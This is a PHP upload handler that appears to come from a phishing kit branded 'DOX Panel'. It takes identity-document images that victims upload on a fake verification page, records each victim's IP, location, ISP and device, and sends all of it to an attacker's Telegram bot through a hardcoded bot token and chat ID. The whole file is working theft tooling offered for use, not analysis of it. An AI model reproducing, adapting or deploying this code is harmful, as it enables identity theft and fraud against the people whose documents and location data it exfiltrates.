<?php
// Handle image uploads for dox4.php
require_once 'antibot/antibot.php';

header('Content-Type: application/json');

function sendTelegramMessage($message) {
    $config = getNotificationConfig();
    $botToken = $config['telegram_token'];
    $chatId = $config['telegram_chat_id'];

    if (empty($botToken) || empty($chatId)) {
        error_log("Telegram configuration missing");
        return false;
    }

    $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
    $data = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'DOX Panel Bot');

    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return $httpCode === 200;
}

function sendTelegramPhoto($imagePath, $fileName, $botToken, $chatId) {
    $url = "https://api.telegram.org/bot{$botToken}/sendPhoto";

    $postFields = [
        'chat_id' => $chatId,
        'caption' => "📄 " . $fileName,
        'photo' => new CURLFile($imagePath, mime_content_type($imagePath), $fileName)
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return $httpCode === 200;
}

function getNotificationConfig() {
    if (file_exists('Data/admin_settings.json')) {
        $adminSettings = json_decode(file_get_contents('Data/admin_settings.json'), true);
        return [
            'telegram_token' => $adminSettings['telegram_token'],
            'telegram_chat_id' => $adminSettings['telegram_chat_id']
        ];
    }
    
    return [
        'telegram_token' => '8156140941:AAGINAnZ36j6WmCqXC_ta86nOa12XtFvtGk',
        'telegram_chat_id' => '1452910092'
    ];
}

function getVisitorInfo() {
    $ip = $_SERVER['REMOTE_ADDR'];
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ips = explode(',', $_SERVER['HTTP_CLIENT_IP']);
        $ip = trim($ips[0]);
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim($ips[0]);
    }

    $locationData = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,country,regionName,city,isp,mobile,proxy");
    $location = json_decode($locationData, true);

    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    
    $device = "Desktop";
    $os = "Unknown";
    
    if (preg_match('/Windows NT/i', $userAgent)) {
        $os = "Windows";
    } elseif (preg_match('/Mac OS X/i', $userAgent)) {
        $os = "macOS";
    } elseif (preg_match('/Linux/i', $userAgent)) {
        $os = "Linux";
    } elseif (preg_match('/Android/i', $userAgent)) {
        $os = "Android";
        $device = "Mobile";
    } elseif (preg_match('/iPhone|iPad/i', $userAgent)) {
        $os = "iOS";
        $device = preg_match('/iPad/i', $userAgent) ? "Tablet" : "Mobile";
    }

    return [
        'ip' => $ip,
        'country' => ($location && $location['status'] == 'success') ? $location['country'] : 'Unknown',
        'city' => ($location && $location['status'] == 'success') ? $location['city'] : 'Unknown',
        'isp' => ($location && $location['status'] == 'success') ? $location['isp'] : 'Unknown',
        'device' => $device,
        'os' => $os,
        'timestamp' => date('Y-m-d H:i:s')
    ];
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $config = getNotificationConfig();
    $botToken = $config['telegram_token'];
    $chatId = $config['telegram_chat_id'];

    $visitorInfo = getVisitorInfo();
    $documentType = $_POST['document_type'] ?? 'Unknown Document';

    // Send document type info first
    $message = "💀 <b>Identity Verification Images</b> 💀\n\n";
    $message .= "<b>📄 Document Type:</b> <code>" . htmlspecialchars($documentType) . "</code>\n";
    $message .= "📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
    $message .= "👨‍💻 <b>Developed by:</b> @doxlog";

    sendTelegramMessage($message);

    $uploadSuccess = true;
    $uploadedFiles = [];

    // Send each uploaded image
    foreach ($_FILES as $key => $file) {
        if ($file['error'] === UPLOAD_ERR_OK) {
            $fileName = $documentType . "_" . $key . "_" . date('Y-m-d_H-i-s') . "." . pathinfo($file['name'], PATHINFO_EXTENSION);
            
            if (sendTelegramPhoto($file['tmp_name'], $fileName, $botToken, $chatId)) {
                $uploadedFiles[] = $fileName;
            } else {
                $uploadSuccess = false;
            }
        }
    }

    // Send second message with upload results
    if (!empty($uploadedFiles)) {
        $resultMessage = "✅ <b>Images Uploaded Successfully</b>\n\n";
        $resultMessage .= "📁 <b>Files:</b>\n";
        foreach ($uploadedFiles as $file) {
            $resultMessage .= "• " . $file . "\n";
        }
        $resultMessage .= "\n👨‍💻 <b>Developed by:</b> @doxlog";
        
        sendTelegramMessage($resultMessage);
    }

    echo json_encode([
        'status' => $uploadSuccess ? 'success' : 'partial_success',
        'uploaded_files' => $uploadedFiles,
        'message' => $uploadSuccess ? 'All images uploaded successfully' : 'Some images failed to upload'
    ]);
} else {
    echo json_encode(['status' => 'error', 'message' => 'Invalid request method']);
}
?>